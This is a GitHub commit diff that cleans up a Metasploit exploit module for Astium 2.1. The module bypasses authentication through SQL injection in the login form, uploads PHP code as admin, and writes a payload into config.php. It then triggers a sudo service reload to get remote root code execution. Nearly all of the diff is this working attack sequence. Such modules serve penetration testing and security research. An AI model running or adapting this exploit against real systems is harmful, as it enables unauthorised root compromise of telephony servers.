Skip to content

Commit 64156a1

Browse files
author
xistence
committed
Merge pull request #1 from jvazquez-r7/review-pr2379
Clean up Astium exploit
2 parents adc1bd9 + 1a00cce commit 64156a1

File tree

1 file changed

+34
-58
lines changed

1 file changed

+34
-58
lines changed

modules/exploits/linux/http/astium_sqli_upload.rb

Lines changed: 34 additions & 58 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@
88
require 'msf/core'
99

1010
class Metasploit3 < Msf::Exploit::Remote
11-
Rank = ManualRanking
11+
Rank = ManualRanking # Configuration is overwritten and service reloaded
1212

1313
include Msf::Exploit::Remote::HttpClient
1414
include Msf::Exploit::FileDropper
@@ -17,12 +17,12 @@ def initialize(info={})
1717
super(update_info(info,
1818
'Name' => "Astium Remote Code Execution",
1919
'Description' => %q{
20-
This module exploits vulnerabilities found in Astium astium-confweb-2.1-25399 RPM and lower.
21-
Admin access is gained by an SQL Injection authentication bypass in the login form.
22-
Having admin access makes it possible to upload PHP code.
23-
This PHP code will modify the "/usr/local/astium/web/php/config.php" script and add our payload.
24-
A "sudo /sbin/service astcfgd reload" is executed to reload the configuration with root privileges
25-
and trigger remote code execution.
20+
This module exploits vulnerabilities found in Astium astium-confweb-2.1-25399 RPM and
21+
lower. A SQL Injection vulnerability is used to achieve authentication bypass and gain
22+
admin access. From an admin session arbitrary PHP code upload is possible. It is used
23+
to add the final PHP payload to "/usr/local/astium/web/php/config.php" and execute the
24+
"sudo /sbin/service astcfgd reload" command to reload the configuration and achieve
25+
remote root code execution.
2626
},
2727
'License' => MSF_LICENSE,
2828
'Author' =>
@@ -31,13 +31,14 @@ def initialize(info={})
3131
],
3232
'References' =>
3333
[
34+
[ 'OSVDB', '88860' ],
3435
[ 'EDB', '23831' ]
3536
],
3637
'Platform' => ['php'],
3738
'Arch' => ARCH_PHP,
3839
'Targets' =>
3940
[
40-
['Astium', {}]
41+
['Astium 2.1', {}]
4142
],
4243
'Privileged' => true,
4344
'DisclosureDate' => "Sep 17 2013",
@@ -49,10 +50,15 @@ def initialize(info={})
4950
], self.class)
5051
end
5152

52-
def check
53-
uri = target_uri.path
54-
peer = "#{rhost}:#{rport}"
53+
def peer
54+
return "#{rhost}:#{rport}"
55+
end
56+
57+
def uri
58+
return target_uri.path
59+
end
5560

61+
def check
5662
# Check version
5763
print_status("#{peer} - Trying to detect Astium")
5864

@@ -69,55 +75,24 @@ def check
6975
end
7076

7177
def exploit
72-
73-
uri = target_uri.path
74-
75-
peer = "#{rhost}:#{rport}"
76-
77-
print_status("#{peer} - Retrieving cookie")
78-
res = send_request_cgi({
79-
'method' => 'GET',
80-
'uri' => normalize_uri(uri, "en", "content", "index.php")
81-
})
82-
83-
if res && res.code == 302
84-
if (res.get_cookies =~ /astiumnls=([a-zA-Z0-9]+)/)
85-
session = $1
86-
redirect = URI(res.headers['Location'])
87-
print_status("#{peer} - Session cookie is [ #{session} ]")
88-
print_status("#{peer} - Location is [ #{redirect} ]")
89-
else
90-
return fail_with(Exploit::Failure::Unknown, "Session cookie not found!")
91-
end
92-
else
93-
return fail_with(Exploit::Failure::Unknown, "Retrieving cookie failed!")
94-
end
95-
96-
# Follow redirection process
97-
print_status("#{peer} - Following redirection")
98-
res = send_request_cgi({
99-
'uri' => "#{redirect}",
100-
'method' => 'GET',
101-
'cookie' => "astiumnls=#{session}"
102-
})
103-
104-
if not res or res.code != 200
105-
return fail_with(Exploit::Failure::Unknown, "Redirect Failed!")
106-
end
107-
108-
10978
print_status("#{peer} - Access login page")
11079
res = send_request_cgi({
11180
'method' => 'GET',
112-
'cookie' => "astiumnls=#{session}",
113-
'uri' => normalize_uri(uri, "?js=0&ctest=1&origlink=/en/content/index.php")
81+
'uri' => normalize_uri(uri),
82+
'vars_get' => {
83+
'js' => '0',
84+
'ctest' => '1',
85+
'origlink' => '/en/content/index.php'
86+
}
11487
})
11588

116-
if res && res.code == 302
89+
if res and res.code == 302 and res.get_cookies =~ /astiumnls=([a-zA-Z0-9]+)/
90+
session = $1
91+
print_good("#{peer} - Session cookie is [ #{session} ]")
11792
redirect = URI(res.headers['Location'])
11893
print_status("#{peer} - Location is [ #{redirect} ]")
11994
else
120-
return fail_with(Exploit::Failure::Unknown, "Access to login page failed!")
95+
fail_with(Exploit::Failure::Unknown, "#{peer} - Access to login page failed!")
12196
end
12297

12398

@@ -130,9 +105,10 @@ def exploit
130105
})
131106

132107
if not res or res.code != 200
133-
return fail_with(Exploit::Failure::Unknown, "Redirect failed!")
108+
fail_with(Exploit::Failure::Unknown, "#{peer} - Redirect failed!")
134109
end
135110

111+
136112
sqlirandom = rand_text_numeric(8)
137113

138114
# SQLi to bypass authentication
@@ -151,7 +127,7 @@ def exploit
151127
})
152128

153129
if not res or res.code != 302
154-
return fail_with(Exploit::Failure::Unknown, "Login bypass was not succesful!")
130+
fail_with(Exploit::Failure::Unknown, "#{peer} - Login bypass was not succesful!")
155131
end
156132

157133
# Random filename
@@ -191,8 +167,8 @@ def exploit
191167

192168
# If the server returns 200 and the body contains our payload name,
193169
# we assume we uploaded the malicious file successfully
194-
if not res or res.code != 200
195-
return fail_with(Exploit::Failure::Unknown, "File wasn't uploaded, aborting!")
170+
if not res or res.code != 200 or res.body !~ /#{payload_name}/
171+
fail_with(Exploit::Failure::Unknown, "#{peer} - File wasn't uploaded, aborting!")
196172
end
197173

198174
register_file_for_cleanup("/usr/local/astium/web/html/upload/#{payload_name}")
@@ -202,12 +178,12 @@ def exploit
202178
res = send_request_cgi({
203179
'method' => 'GET',
204180
'uri' => normalize_uri(uri, "upload", "#{payload_name}")
205-
},60)
181+
}, 60)
206182

207183
# If we don't get a 200 when we request our malicious payload, we suspect
208184
# we don't have a shell, either.
209185
if res and res.code != 200
210-
return fail_with(Exploit::Failure::Unknown, "Exploit failed!")
186+
print_error("#{peer} - Unexpected response...")
211187
end
212188

213189
end

0 commit comments

Comments
 (0)